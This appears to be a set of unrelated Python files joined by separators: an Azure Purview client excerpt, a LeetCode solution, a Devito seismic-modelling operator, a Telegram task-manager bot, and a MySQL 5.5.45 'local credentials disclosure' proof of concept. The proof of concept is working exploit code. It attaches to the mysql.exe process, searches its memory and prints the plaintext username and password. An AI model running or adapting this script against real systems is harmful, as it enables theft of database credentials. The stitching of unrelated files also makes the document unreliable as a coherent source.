:param endpoint: The catalog endpoint of your Purview account. Example: https://{accountName}.catalog.purview.azure.com.
:type endpoint: str
"""
def __init__(
self,
credential, # type: "TokenCredential"
endpoint, # type: str
**kwargs # type: Any
):
# type: (...) -> None
base_url = '{Endpoint}/api'
self._config = PurviewCatalogClientConfiguration(credential, endpoint, **kwargs)
self._client = PipelineClient(base_url=base_url, config=self._config, **kwargs)
self._serialize = Serializer()
self._deserialize = Deserializer()
self._serialize.client_side_validation = False
def send_request(self, http_request, **kwargs):
# type: (HttpRequest, Any) -> HttpResponse
"""Runs the network request through the client's chained policies.
We have helper methods to create requests specific to this service in `azure.purview.catalog.rest`.
Use these helper methods to create the request you pass to this method. See our example below:
>>> from azure.purview.catalog.rest import build_create_or_update_request
>>> request = build_create_or_update_request(json, content)
<HttpRequest [POST], url: '/atlas/v2/entity'>
>>> response = client.send_request(request)
<HttpResponse: 200 OK>
For more information on this code flow, see https://aka.ms/azsdk/python/protocol/quickstart
For advanced cases, you can also create your own :class:`~azure.purview.catalog.core.rest.HttpRequest`
and pass it in.
:param http_request: The network request you want to make. Required.
:type http_request: ~azure.purview.catalog.core.rest.HttpRequest
:keyword bool stream_response: Whether the response payload will be streamed. Defaults to False.
:return: The response of your network call. Does not do error handling on your response.
:rtype: ~azure.purview.catalog.core.rest.HttpResponse
"""
request_copy = deepcopy(http_request)
path_format_arguments = {
'Endpoint': self._serialize.url("self._config.endpoint", self._config.endpoint, 'str', skip_quote=True),
}
request_copy.url = self._client.format_url(request_copy.url, **path_format_arguments)
if kwargs.pop("stream_response", False):
return _StreamContextManager(
client=self._client._pipeline,
request=request_copy,
)
pipeline_response = self._client._pipeline.run(request_copy._internal_request, **kwargs)
response = HttpResponse(
status_code=pipeline_response.http_response.status_code,
request=request_copy,
_internal_response=pipeline_response.http_response
)
response.read()
return response
def close(self):
# type: () -> None
self._client.close()
def __enter__(self):
# type: () -> PurviewCatalogClient
self._client.__enter__()
return self
def __exit__(self, *exc_details):
# type: (Any) -> None
self._client.__exit__(*exc_details)
|
class Solution:
def canPlaceFlowers(self, pos, n):
pos = [0] + pos + [0]
for i in range(1, len(pos)-1):
if n == 0: return True
if not (pos[i] or pos[i-1] or pos[i+1]):
pos[i] = 1
n -= 1
return n == 0
|
from devito import Eq, Operator, TimeFunction, left, right, staggered_diff
from examples.seismic import PointSource, Receiver
def ForwardOperator(model, source, receiver, space_order=4,
save=False, **kwargs):
"""
Constructor method for the forward modelling operator in an elastic media
:param model: :class:`Model` object containing the physical parameters
:param source: :class:`PointData` object containing the source geometry
:param receiver: :class:`PointData` object containing the acquisition geometry
:param space_order: Space discretization order
:param save: Saving flag, True saves all time steps, False only the three buffered
indices (last three time steps)
"""
vp, vs, rho, damp = model.vp, model.vs, model.rho, model.damp
s = model.grid.stepping_dim.spacing
x, z = model.grid.dimensions
cp2 = vp*vp
cs2 = vs*vs
ro = 1/rho
mu = cs2*rho
l = rho*(cp2 - 2*cs2)
# Create symbols for forward wavefield, source and receivers
vx = TimeFunction(name='vx', grid=model.grid, staggered=(0, 1, 0),
save=source.nt if save else None,
time_order=2, space_order=space_order)
vz = TimeFunction(name='vz', grid=model.grid, staggered=(0, 0, 1),
save=source.nt if save else None,
time_order=2, space_order=space_order)
txx = TimeFunction(name='txx', grid=model.grid,
save=source.nt if save else None,
time_order=2, space_order=space_order)
tzz = TimeFunction(name='tzz', grid=model.grid,
save=source.nt if save else None,
time_order=2, space_order=space_order)
txz = TimeFunction(name='txz', grid=model.grid, staggered=(0, 1, 1),
save=source.nt if save else None,
time_order=2, space_order=space_order)
# Source symbol with input wavelet
src = PointSource(name='src', grid=model.grid, time_range=source.time_range,
npoint=source.npoint)
rec1 = Receiver(name='rec1', grid=model.grid, time_range=receiver.time_range,
npoint=receiver.npoint)
rec2 = Receiver(name='rec2', grid=model.grid, time_range=receiver.time_range,
npoint=receiver.npoint)
# Stencils
fd_vx = (staggered_diff(txx, dim=x, order=space_order, stagger=left) +
staggered_diff(txz, dim=z, order=space_order, stagger=right))
u_vx = Eq(vx.forward, damp * vx - damp * s * ro * fd_vx)
fd_vz = (staggered_diff(txz, dim=x, order=space_order, stagger=right) +
staggered_diff(tzz, dim=z, order=space_order, stagger=left))
u_vz = Eq(vz.forward, damp * vz - damp * ro * s * fd_vz)
vxdx = staggered_diff(vx.forward, dim=x, order=space_order, stagger=right)
vzdz = staggered_diff(vz.forward, dim=z, order=space_order, stagger=right)
u_txx = Eq(txx.forward, damp * txx - damp * (l + 2 * mu) * s * vxdx
- damp * l * s * vzdz)
u_tzz = Eq(tzz.forward, damp * tzz - damp * (l+2*mu)*s * vzdz
- damp * l * s * vxdx)
vxdz = staggered_diff(vx.forward, dim=z, order=space_order, stagger=left)
vzdx = staggered_diff(vz.forward, dim=x, order=space_order, stagger=left)
u_txz = Eq(txz.forward, damp * txz - damp * mu*s * (vxdz + vzdx))
# The source injection term
src_xx = src.inject(field=txx.forward, expr=src * s, offset=model.nbpml)
src_zz = src.inject(field=tzz.forward, expr=src * s, offset=model.nbpml)
# Create interpolation expression for receivers
rec_term1 = rec1.interpolate(expr=txx, offset=model.nbpml)
rec_term2 = rec2.interpolate(expr=tzz, offset=model.nbpml)
# Substitute spacing terms to reduce flops
return Operator([u_vx, u_vz, u_txx, u_tzz, u_txz] + src_xx + src_zz
+ rec_term1 + rec_term2, subs=model.spacing_map,
name='Forward', **kwargs)
|
#####
# MySQL 5.5.45 (64bit) Local Credentials Disclosure
# Tested on Windows Windows Server 2012 R2 64bit, English
# Vendor Homepage @ https://www.mysql.com
# Date 05/09/2016
# Bug Discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
#
# http://www.black-rose.ml
# Source Code for the executable attached
# Special Thanks & Greetings to Viktor Minin (https://www.exploit-db.com/author/?a=8052) | (https://1-33-7.com/)
#####
# MySQL v5.5.45 is vulnerable to local credentials disclosure, the supplied username and password are stored in a plaintext format in memory process.
# A potential attacker could reveal the supplied username and password in order to gain access to the database.
# Proof-Of-Concept Code:
#####
import time
from winappdbg import Debug, Process
def b2h(str):
return ''.join(["%02X " % ord(x) for x in str]).strip()
def h2b(str):
bytes = []
str = ''.join(str.split(" "))
for i in range(0, len(str), 2):
bytes.append(chr(int(str[i:i+2], 16)))
return ''.join(bytes)
usr = ''
pwd = ''
count = 0
filename = "mysql.exe"
process_pid = 0
memory_dump = []
passwd = []
debug = Debug()
try:
print "[~] Searching for pid by process name '%s'.." % (filename)
time.sleep(1)
debug.system.scan_processes()
for (process, process_name) in debug.system.find_processes_by_filename(filename):
process_pid = process.get_pid()
if process_pid is not 0:
print "[+] Found process pid #%d" % (process_pid)
time.sleep(1)
print "[~] Trying to read memory for pid #%d" % (process_pid)
process = Process(process_pid)
for address in process.search_bytes('\x00\x6D\x79\x73\x71\x6C\x00\x2D\x75\x00'):
memory_dump.append(process.read(address,30))
for i in range(len(memory_dump)):
str = b2h(memory_dump[i])
first = str.split("00 6D 79 73 71 6C 00 2D 75 00 ")[1]
last = first.split(" 00 2D 70")
if last[0]:
usr = h2b(last[0])
memory_dump = []
for address in process.search_bytes('\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'):
memory_dump.append(process.read(address,100))
sorted(set(memory_dump))
for i in range(len(memory_dump)):
str = b2h(memory_dump[i])
string = str.split('00 8F')
for x in range(len(string)):
if x == 1:
passwd = string
try:
pwd = h2b(passwd[1].split('00 00')[0])
except:
pass
print "[~] Trying to extract credentials from memory.."
time.sleep(1)
if usr != '' and pwd != '':
print "[+] Credentials found!\r\n----------------------------------------"
print "[+] Username: %s" % usr
print "[+] Password: %s" % pwd
else:
print "[-] Credentials not found!"
else:
print "[-] No process found with name '%s'" % (filename)
debug.loop()
finally:
debug.stop()
|
import os
import re
import sys
import json
import socket
import sqlite3
import logging
import datetime
import telegram
from time import sleep
from src.chrono import Chrono
from src.command import Task
from src.command import Command
from src.utils import get_api_token
from src.simple_parser import Parser
from telegram.error import NetworkError, Unauthorized
api_token = ''
if not api_token: api_token = get_api_token()
#########
# SETUP #
#########
logging.basicConfig(level=logging.WARNING, format='%(asctime)s %(levelname)s [%(module)s]: %(message)s')
logger = logging.getLogger(__name__)
logger.addHandler(logging.FileHandler('log.log', 'w', 'utf-8'))
update_id = None
conn = sqlite3.connect('database.db')
c = conn.cursor()
parser = Parser()
chrono = Chrono()
valid_undo_commands = ['ADD', 'DEL', 'APPEND', 'EDIT', 'ADD_RECUR', 'DEL_RECUR']
recurring_list_commands = ['LIST_RECUR', 'DEL_RECUR']
weekday_integer_list = {'mon':1, 'tue':2, 'wed':3, 'thu':4, 'fri':5, 'sat':6, 'sun':7}
TASK_NUMBER_LIMIT = 20
INVALID_COMMAND_MULTI = 'Whoops! You can only use multiple lines for the "<b>ADD</b>" command. The "<b>{}</b>" command is not allowed in conjunction with other commands.'
INVALID_COMMAND_MYTIME = 'Not enough information to calculate your timezone!'
INVALID_COMMAND_GENERAL = 'Invalid Command Haha! See /help.'
INVALID_COMMAND_INDEX = 'Task {} is out of list range!'
INVALID_COMMAND_APPEND = 'Nothing to append!'
INVALID_COMMAND_UNDO = 'No more undos!'
NOTIFICATION_DEL = '<b>(Deleted!)</b> {}'
NOTIFICATION_MYTIME = 'Your timezone has been calculated and stored!'
COMMAND_LIST_PASS = ['LIST', 'START', 'LIST_FULL', 'LIST_RECUR', 'HELP']
##################
# MAIN FUNCTIONS #
##################
def main():
global update_id
logger.warning('(1/3) Loading bot...')
bot = get_bot(api_token)
update_id = get_update_id(bot)
logger.warning('(2/3) Loading database...')
db_init()
logger.warning('(3/3) Bot ready.')
#send('Recipebot has been activated.', 302383988, bot)
while True:
try:
handle_updates(bot)
except NetworkError:
sleep(1)
except Unauthorized:
update_id += 1
except Exception as e:
logger.error('Exception {}'.format(str(e)))
exc_type, exc_obj, exc_tb = sys.exc_info()
fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
#print(exc_type, fname, exc_tb.tb_lineno)
sleep(1)
def handle_updates(bot):
global update_id
for update in bot.get_updates(offset=update_id, timeout=10):
update_id = update.update_id + 1
if update.message:
m = update.message
elif update.edited_message:
m = update.edited_message
else:
continue
logger.info('{}: {}'.format(m.chat_id, m.text))
reply = get_reply(m.text, m.chat_id)
logger.info('Reply:{}'.format(reply))
send(reply, m.chat_id, bot)
def get_reply(text, id):
global parser
logger.debug('get_reply started')
if not id in db_get_users_list():
db_add_user(id)
return set_timezone_message
command_list = []
additional_message_list = []
utc_diff_in_seconds = db_get_utc_diff_in_seconds(id)
try:
for line in text.split('\n'):
command = parser.getCommand(line, utc_diff_in_seconds)
command_list.append(command)
check_valid_multiple_line_command(command_list)
for command in command_list:
execute(command, id, additional_message_list)
except Exception as e:
logger.error('Exception: {}'.format(str(e)))
return str(e)
db_add_task_recurring_n_day_only(id)
message = generate_main_message(id, command_list[0], utc_diff_in_seconds)
message = attach(additional_message_list, message, id, command_list[0])
db_save()
logger.debug('get_reply ended')
return message
######################
# DATABASE FUNCTIONS #
######################
def db_init():
c.execute('CREATE TABLE IF NOT EXISTS users(id INTEGER, UTCDiffInSeconds INTEGER)')
c.execute('CREATE TABLE IF NOT EXISTS tasks(id INTEGER, name TEXT, date INTEGER, time INTEGER, location TEXT, linkListSerial TEXT, important INTEGER, new INTEGER)')
c.execute('CREATE TABLE IF NOT EXISTS tasks_recurring(id INTEGER, name TEXT, date INTEGER, time INTEGER, location TEXT, linkListSerial TEXT, important INTEGER, new INTEGER, recurringString TEXT, recurringInteger INTEGER)')
conn.commit()
def db_get_users_list():
temp = []
c.execute('SELECT id FROM users')
for row in c.fetchall():
temp.append(row[0])
return temp
def db_add_user(id, defaultDiffInSeconds = 28800):
c.execute('INSERT INTO users (id, UTCDiffInSeconds) VALUES (?,?)', (id, defaultDiffInSeconds))
def db_get_utc_diff_in_seconds(id):
c.execute('SELECT UTCDiffInSeconds FROM users WHERE id = (?)', (id,))
return c.fetchall()[0][0]
def db_change_utc_diff_in_seconds(id, UTCDiffInSeconds):
db_undo_clear(id)
c.execute('UPDATE users SET UTCDiffInSeconds = (?) WHERE id = (?)', (UTCDiffInSeconds, id))
conn.commit()
#0-id INTEGER
#1-name TEXT
#2-date INTEGER
#3-time INTEGER
#4-location TEXT
#5-linkListSerial TEXT
#6-important INTEGER
#7-new INTEGER
def db_get_tasklist(id):
tasklist = []
c.execute('SELECT * FROM tasks WHERE id = (?) ORDER BY date, time', (id,))
for row in c.fetchall():
tasklist.append(Task(name = row[1], date = row[2], time = row[3], location = row[4], linkList = json.loads(row[5]), important = row[6], new = row[7]))
c.execute('UPDATE tasks SET new = 0 WHERE id = (?)', (id,))
return tasklist
#0-id INTEGER
#1-name TEXT
#2-date INTEGER
#3-time INTEGER
#4-location TEXT
#5-linkListSerial TEXT
#6-important INTEGER
#7-new INTEGER
#8-recurringString TEXT
#9-recurringInteger INTEGER
def db_get_recurring_tasklist(id):
tasklist = []
c.execute('SELECT * FROM tasks_recurring WHERE id = (?) ORDER BY recurringString, substr(date,5,2)||recurringInteger', (id,))
for row in c.fetchall():
tasklist.append(Task(name = row[1], date = row[2], time = row[3], location = row[4], linkList = json.loads(row[5]), important = row[6], new = row[7], recurringString = row[8], recurringInteger = row[9]))
return tasklist
def db_add_task(task, id):
db_undo_save(id)
c.execute('INSERT INTO tasks (id, name, date, time, location, linkListSerial, important, new) VALUES (?,?,?,?,?,?,?,?)', (id, task.name, task.date, task.time, task.location, json.dumps(task.linkList), task.important, task.new))
def db_add_task_diff_date(task, id, diff_date):
c.execute('SELECT * FROM tasks WHERE (id, name, date, time, location, linkListSerial, important) = (?,?,?,?,?,?,?)', (id, task.name, diff_date, task.time, task.location, json.dumps(task.linkList), task.important))
if not c.fetchall():
c.execute('INSERT INTO tasks (id, name, date, time, location, linkListSerial, important, new) VALUES (?,?,?,?,?,?,?,?)', (id, task.name, diff_date, task.time, task.location, json.dumps(task.linkList), task.important, task.new))
def db_add_task_recurring(task, id):
db_undo_clear(id)
c.execute('INSERT INTO tasks_recurring (id, name, date, time, location, linkListSerial, important, new, recurringString, recurringInteger) VALUES (?,?,?,?,?,?,?,?,?,?)', (id, task.name, task.date, task.time, task.location, json.dumps(task.linkList), task.important, task.new, task.recurringString, task.recurringInteger))
def db_delete_task(number_or_task, id):
db_undo_save(id)
if isinstance(number_or_task, int):
c.execute('SELECT * FROM tasks WHERE id = (?) ORDER BY date, time', (id,))
try: task_tuple = c.fetchall()[number_or_task - 1]
except IndexError: raise Exception(INVALID_COMMAND_INDEX.format(number_or_task))
else:
task_tuple = (id, number_or_task.name, number_or_task.date, number_or_task.time, number_or_task.location, json.dumps(number_or_task.linkList), number_or_task.important, number_or_task.new)
c.execute('DELETE FROM tasks WHERE rowid = (SELECT rowid FROM tasks WHERE (id, name, date, time, location, linkListSerial, important, new) = (?,?,?,?,?,?,?,?) LIMIT 1)', task_tuple)
return Task(name = task_tuple[1], date = task_tuple[2], time = task_tuple[3], location = task_tuple[4], linkList = json.loads(task_tuple[5]), important = task_tuple[6], new = task_tuple[7])
def db_delete_task_recurring(number, id):
db_undo_clear(id)
c.execute('SELECT * FROM tasks_recurring WHERE id = (?) ORDER BY recurringString, substr(date,5,2)||recurringInteger', (id,))
try: task_tuple = c.fetchall()[number - 1]
except IndexError: raise Exception(INVALID_COMMAND_INDEX.format(number))
c.execute('DELETE FROM tasks_recurring WHERE rowid = (SELECT rowid FROM tasks_recurring WHERE (id, name, date, time, location, linkListSerial, important, new, recurringString, recurringInteger) = (?,?,?,?,?,?,?,?,?,?) LIMIT 1)', task_tuple)
c.execute('DELETE FROM tasks WHERE (id, name, time, location, linkListSerial, important) = (?,?,?,?,?,?)', task_tuple[:2] + task_tuple[3:-3])
def db_get_task(number, id):
c.execute('SELECT * FROM tasks WHERE id = (?) ORDER BY date, time', (id,))
try: task_tuple = c.fetchall()[number - 1]
except IndexError: raise Exception(INVALID_COMMAND_INDEX.format(number))
return Task(name = task_tuple[1], date = task_tuple[2], time = task_tuple[3], location = task_tuple[4], linkList = json.loads(task_tuple[5]), important = task_tuple[6], new = task_tuple[7])
def db_append_task(number, id, append_task):
db_undo_save(id)
c.execute('SELECT * FROM tasks WHERE id = (?) ORDER BY date, time', (id,))
try: task_tuple = c.fetchall()[number - 1]
except IndexError: raise Exception(INVALID_COMMAND_INDEX.format(number))
c.execute('DELETE FROM tasks WHERE rowid = (SELECT rowid FROM tasks WHERE (id, name, date, time, location, linkListSerial, important, new) = (?,?,?,?,?,?,?,?) LIMIT 1)', task_tuple)
new_name = task_tuple[1]
new_location = task_tuple[4]
new_linkList = json.loads(task_tuple[5])
if append_task.name: new_name = '{}, {}'.format(new_name, append_task.name)
if append_task.location: new_location = '{}/{}'.format(new_location, append_task.location)
if append_task.linkList: new_linkList = new_linkList + append_task.linkList
new_new = 1
new_task_tuple = (id, new_name, task_tuple[2], task_tuple[3], new_location, json.dumps(new_linkList), task_tuple[7], new_new)
c.execute('INSERT INTO tasks (id, name, date, time, location, linkListSerial, important, new) VALUES (?,?,?,?,?,?,?,?)', new_task_tuple)
def db_append_task_with_another_tasks(id, numberList):
db_undo_save(id)
append_task = db_get_task(numberList[1], id)
db_append_task(numberList[0], id, append_task)
db_delete_task(append_task, id)
def db_edit_task(number, id, edit_task):
db_undo_save(id)
c.execute('SELECT * FROM tasks WHERE id = (?) ORDER BY date, time', (id,))
try: task_tuple = c.fetchall()[number - 1]
except IndexError: raise Exception(INVALID_COMMAND_INDEX.format(number))
c.execute('DELETE FROM tasks WHERE rowid = (SELECT rowid FROM tasks WHERE (id, name, date, time, location, linkListSerial, important, new) = (?,?,?,?,?,?,?,?) LIMIT 1)', task_tuple)
task_listed = list(task_tuple)
if edit_task.name: task_listed[1] = edit_task.name
if edit_task.date != 0: task_listed[2] = edit_task.date
if edit_task.time != -1: task_listed[3] = edit_task.time
if edit_task.location != '': task_listed[4] = edit_task.location
if edit_task.linkList: task_listed[5] = json.dumps(edit_task.linkList)
if edit_task.important != 0: task_listed[6] = edit_task.important
task_listed[7] = 1
c.execute('INSERT INTO tasks (id, name, date, time, location, linkListSerial, important, new) VALUES (?,?,?,?,?,?,?,?)', tuple(task_listed))
def db_add_task_recurring_next_n_days(id, task, n = 14):
utc_diff_in_seconds = db_get_utc_diff_in_seconds(id)
current_time_delta = Chrono.getCurrentTimeDelta(utc_diff_in_seconds)
for i in range(n + 1):
target_time_delta = current_time_delta + datetime.timedelta(days = i)
target_date_number = chrono.getDateNumberFromTimeDelta(target_time_delta)
month_number = int(target_time_delta.strftime('%m'))
day_of_month_number = int(target_time_delta.strftime('%d'))
day_of_week_string = target_time_delta.strftime('%a').lower()
if task.recurringString == 'every_year' and task.recurringInteger == day_of_month_number and (task.date // 100 % 100) == month_number: db_add_task_diff_date(task, id, target_date_number)
elif task.recurringString == 'every_month' and task.recurringInteger == day_of_month_number: db_add_task_diff_date(task, id, target_date_number)
elif task.recurringString[6:] == day_of_week_string: db_add_task_diff_date(task, id, target_date_number)
def db_add_task_recurring_n_day_only(id, n = 14):
utc_diff_in_seconds = db_get_utc_diff_in_seconds(id)
current_time_delta = Chrono.getCurrentTimeDelta(utc_diff_in_seconds)
recurring_tasklist = db_get_recurring_tasklist(id)
i = n
target_time_delta = current_time_delta + datetime.timedelta(days = i)
target_date_number = chrono.getDateNumberFromTimeDelta(target_time_delta)
month_number = int(target_time_delta.strftime('%m'))
day_of_month_number = int(target_time_delta.strftime('%d'))
day_of_week_string = target_time_delta.strftime('%a').lower()
for task in recurring_tasklist:
if task.recurringString == 'every_year' and task.recurringInteger == day_of_month_number and (task.date // 100 % 100) == month_number: db_add_task_diff_date(task, id, target_date_number)
elif task.recurringString == 'every_month' and task.recurringInteger == day_of_month_number: db_add_task_diff_date(task, id, target_date_number)
elif task.recurringString[6:] == day_of_week_string: db_add_task_diff_date(task, id, target_date_number)
def db_undo(id):
c.execute('SELECT * FROM tasks WHERE id = (?)', (id + 1000000000,))
if not c.fetchall(): raise Exception(INVALID_COMMAND_UNDO)
c.execute('DELETE FROM tasks WHERE id = (?)', (id,))
c.execute('UPDATE tasks SET id = (?) WHERE id = (?)', (id, id + 1000000000))
def db_undo_save(id):
# delete previous undo save
c.execute('DELETE FROM tasks WHERE id = (?)', (id + 1000000000,))
# copy current tasks under modified id
c.execute('INSERT INTO tasks SELECT (id + 1000000000) AS id, name, date, time, location, linkListSerial, important, new FROM tasks WHERE id = (?)', (id,))
# c.execute('SELECT * FROM tasks WHERE id = (?)', (id + 1000000000,))
# for row in c.fetchall():
# print(row)
def db_undo_clear(id):
c.execute('DELETE FROM tasks WHERE id = (?)', (id + 1000000000,))
def db_save():
conn.commit()
####################
# HELPER FUNCTIONS #
####################
def get_bot(api_token):
if api_token == 'insert_your_api_token_here': assert 0, '"Please add you Telegram Bot api token into run.py"'
while True:
try:
try:
print('Trying to get_bot...')
bot = telegram.Bot(api_token)
return bot
except socket.timeout:
#logger.error('exception', str(e))
sleep(2)
pass
except Exception as e:
logger.error('exception', str(e))
sleep(2)
pass
def get_update_id(bot):
try:
update_id = bot.get_updates()[0].update_id
return update_id
except IndexError:
return None
def send(message, id, bot):
bot.send_chat_action(chat_id=id, action=telegram.ChatAction.TYPING)
bot.send_message(chat_id=id, text=message, parse_mode=telegram.ParseMode.HTML, disable_web_page_preview=1)
def check_valid_multiple_line_command(command_list):
if len(command_list) < 2:
return
for command in command_list:
command_type = command.commandType
if not command_type in ['ADD', 'ADD_RECUR']:
raise Exception(INVALID_COMMAND_MULTI.format(command_type))
def execute(command, id, messageList):
logger.debug('execute started')
commandType = command.commandType
numberList = command.numberList
if commandType in COMMAND_LIST_PASS: pass
elif commandType == 'ADD': db_add_task(command.task, id)
elif commandType == 'DEL':
for number in numberList:
deletedTask = db_delete_task(number, id)
messageList.append(NOTIFICATION_DEL.format(deletedTask.getName()))
elif commandType == 'ADD_RECUR':
db_add_task_recurring(command.task, id)
db_add_task_recurring_next_n_days(id, command.task)
elif commandType == 'DEL_RECUR': db_delete_task_recurring(numberList[0], id)
elif commandType == 'APPEND':
print(command.task.name)
print(command.task.location)
print(command.task.linkList)
if not command.task.name and not command.task.location and not command.task.linkList: raise Exception(INVALID_COMMAND_APPEND)
else:
if len(numberList) > 1 and len(command.task.name.split()) == 1: db_append_task_with_another_tasks(id, numberList)
else: db_append_task(numberList[0], id, command.task)
elif commandType == 'SEARCH': pass
elif commandType == 'UNDO': db_undo(id)
elif commandType == 'EDIT': db_edit_task(numberList[0], id, command.task)
elif commandType == 'MYTIME':
if command.task.time == -1 or command.task.date == 0: raise Exception(INVALID_COMMAND_MYTIME)
else:
UTCDiffInSeconds = chrono.getUTCDiffInSeconds(command.task.time, command.task.date)
db_change_utc_diff_in_seconds(id, UTCDiffInSeconds)
messageList.append(NOTIFICATION_MYTIME)
elif commandType == 'CLEAR': raise Exception('Clear command coming soon!')
elif commandType == 'REDO': raise Exception('Redo command coming soon!')
else: raise Exception(INVALID_COMMAND_GENERAL)
logger.debug('execute ended')
def generate_main_message(id, command, UTCDiffInSeconds):
logger.debug('Generate tasklist_string started')
tasklist_string = ''
search_mode = 0
search_found = 0
search_task = command.task
full_list_mode = 0
recur_list_mode = 0
today_bar_exists = 0
end_of_week_bar_exists = 0
end_of_week_bar_needed = 0
if command.commandType == 'SEARCH': search_mode = 1
elif command.commandType == 'HELP': return welcome_message_string
elif command.commandType == 'START': return set_timezone_message
elif command.commandType == 'LIST_FULL': full_list_mode = 1
elif command.commandType in recurring_list_commands: recur_list_mode = 1
if search_mode:
tasklist = db_get_tasklist(id)
for i, task in enumerate(tasklist):
if task_match(task, search_task):
search_found = 1
tasklist_string = '{}<b>{}</b>. {} {}{}{}{}{}\n'.format(tasklist_string, str(i + 1), chrono.getNiceDate(task.date, UTCDiffInSeconds), task.getTime(), bold_term(task.getName(), search_task.name), task.getLocation(), get_link_string(task.linkList, 'full'), task.getImportant())
if not search_found:
tasklist_string = '{}No entries match your search :(\n'.format(tasklist_string)
elif recur_list_mode:
recurringtasklist = db_get_recurring_tasklist(id)
if not len(recurringtasklist): return 'No recurring tasks added yet!\n'
for i, task in enumerate(recurringtasklist):
tasklist_string = '{}<b>{}</b>. {}{} (<b>{}</b>)/Del_R{}\n'.format(tasklist_string, i + 1, task.name, task.getImportant(), get_nice_recurring_date(task), i + 1)
else:
tasklist = db_get_tasklist(id)
if not len(tasklist): return empty_tasklist_string
todayDelta = chrono.getCurrentTimeDelta(UTCDiffInSeconds)
todayDateNumber = chrono.getDateNumberFromTimeDelta(todayDelta)
mondayDateNumber = chrono.getDateNumberNDaysFromMonday(0, UTCDiffInSeconds)
sundayDateNumber = chrono.getDateNumberNDaysFromMonday(6, UTCDiffInSeconds)
for i, task in enumerate(tasklist):
# Insert Today bar
if (i+1 <= TASK_NUMBER_LIMIT or full_list_mode) or task.new:
if not today_bar_exists and task.date > todayDateNumber:
today_bar_exists = 1
tasklist_string = '{}<b>***({}) {} {}, {} hrs***</b>\n'.format(tasklist_string,
todayDelta.strftime('%a'), # Mon, Tue
todayDelta.strftime('%d'), # 1-30
todayDelta.strftime('%b'), # Jan, Feb
todayDelta.strftime("%H:%M")) # 14:35
# Insert End of week bar
if end_of_week_bar_exists:
pass
elif not end_of_week_bar_exists and task.date > mondayDateNumber and task.date <= sundayDateNumber:
end_of_week_bar_needed = 1
elif end_of_week_bar_needed and task.date > sundayDateNumber:
tasklist_string = '{}----------<i>End of Week</i>----------\n'.format(tasklist_string)
end_of_week_bar_exists = 1
tasklist_string = '{}<b>{}</b>.{}{} {}{}{}{}\n'.format(tasklist_string,
str(i + 1),
chrono.getNiceDate(task.date, UTCDiffInSeconds),
task.getTime(),
task.getName(),
task.getLocation(),
get_link_string(task.linkList),
task.getImportant())
# Trim list if not full_list_mode
if i+1 == TASK_NUMBER_LIMIT and not full_list_mode:
tasklist_string = '{}<b>{}</b>. ... [/show_all]\n'.format(tasklist_string, str(i+2))
tasklist_string = reverse_order(tasklist_string)
logger.debug('Generate tasklist_string ended')
return tasklist_string
def task_match(task, search_task):
task_name = task.name.lower()
search_text = search_task.name.lower()
task_name = ' {}'.format(task_name)
search_text = ' {}'.format(search_text)
if task_name.find(search_text) == -1: return 0
if search_task.date and not task.date == search_task.date: return 0
return 1
def reverse_order(message):
messageList = message.split('\n')
messageList.reverse()
newMessage ='\n'.join(messageList)
return newMessage
def get_link_string(linkList, type = 'shortened'):
if len(linkList) == 0:
return ''
linkString = ''
if type == 'shortened':
for i, link in enumerate(linkList):
linkString += '(<a href="{}">{}</a>)'.format(link, trim_link(link))
else:
for i, link in enumerate(linkList):
linkString += ' {} '.format(link)
return linkString
def trim_link(link):
if link[:5] == 'https':
link = link[8:]
elif link[:4] == 'http':
link = link[7:]
if link[:4] == 'www.':
link = link[4:]
if len(link[:4]) < 1:
return 'invalid_link'
return link[:4]+'...'
def get_nice_recurring_date(task):
if task.recurringString == 'every_year':
return 'Every {}'.format(chrono.getNiceRecurringDate(task.date, task.recurringInteger))
elif task.recurringString == 'every_month':
if task.recurringInteger == 1:
return 'Every 1st'
if task.recurringInteger == 2:
return 'Every 2nd'
if task.recurringInteger == 3:
return 'Every 3rd'
else:
return 'Every {}th'.format(task.recurringInteger)
else:
return task.recurringString.replace('_',' ').title()
def attach(messageList, message, id, command):
if messageList:
message = '{}\n-----'.format(message)
for line in messageList:
message = '{}\n{}'.format(message, line)
message = '{}\n[/refresh] [/recurring_tasks]'.format(message)
return message
def get_date_string():
today_UTC = datetime.datetime.now()
today_singapore = today_UTC + datetime.timedelta(seconds=28800)
year_str = today_singapore.strftime('%Y')
month_str = today_singapore.strftime('%m')
day_str = today_singapore.strftime('%d')
return '{}{}{}'.format(year_str, month_str, day_str)
def bold_term(string, search_term):
index = ' {}'.format(string.lower()).find(' {}'.format(search_term.lower()))
print('"{}" found in "{}" at position {}'.format(search_term, string, index))
if index == -1: return string
return '{}<b>{}</b>{}'.format(string[:index], string[index:index + len(search_term)], string[index + len(search_term):])
################
# LONG STRINGS #
################
set_timezone_message = """Hi New User! Set your Timezone first by sharing your current time with me!
<b>Type:</b> mytime [Your Currrent Time and Date]
<b>e.g.</b> mytime 11am 25may
<b>e.g.</b> mytime 1125am 25may
<b>e.g.</b> mytime 1pm 25may
<b>e.g.</b> mytime 130pm 25may"""
welcome_message_string = """Welcome to DoMe Task Manager!
<i>Just type in a command! (No "/" needed.)</i>
<b>1) Adding Tasks</b> [Optional Arguments]
eg. <i>Go swimming at pool tmr 8am</i>
<b>Syntax:</b> Task_Name [date][time][location][link][!]
<b>Acceptable Formats</b> (not case-sensitive)
Date: <i>17apr, 17 apr, 17 april, 17 april 2003</i>
Time: <i>7pm, 745pm, 11am</i>
Location: <i>at ang mo kio, @ang_mo_kio</i>
Link: <i>http..., www...</i>
<b>2) Deleting Tasks</b>
eg. delete 10 / d 10 / d10
eg. d 3 1 6 2
<b>3) Refresh Current Tasks</b>
eg. refresh / ref / list / ls
<b>4) Edit Tasks</b>
eg. edit 3 <i>something new</i>
eg. e 12 <i>19 feb</i>
eg. e 15 <i>something new 19 feb</i>
<b>5) Append</b>
eg. append 5 more_info at location2
eg. app 5 more_info at LOC_2
<b>Result:</b> Task, <i>more_info @LOC_1/LOC_2</i>
<b>6) Change Timezone</b>
eg. mytime 1125pm 25may
<b>7) Search</b>
eg. s things to buy
<b>8) Undo</b> (Only 1 undo supported)
eg. undo, u
"""
empty_tasklist_string = """- List is empty! -
Just type a task and send!
For example: <b>Buy a goat 17 dec</b>.
See /help for more options."""
#####################
# RUN MAIN FUNCTION #
#####################
if __name__ == '__main__':
main() |
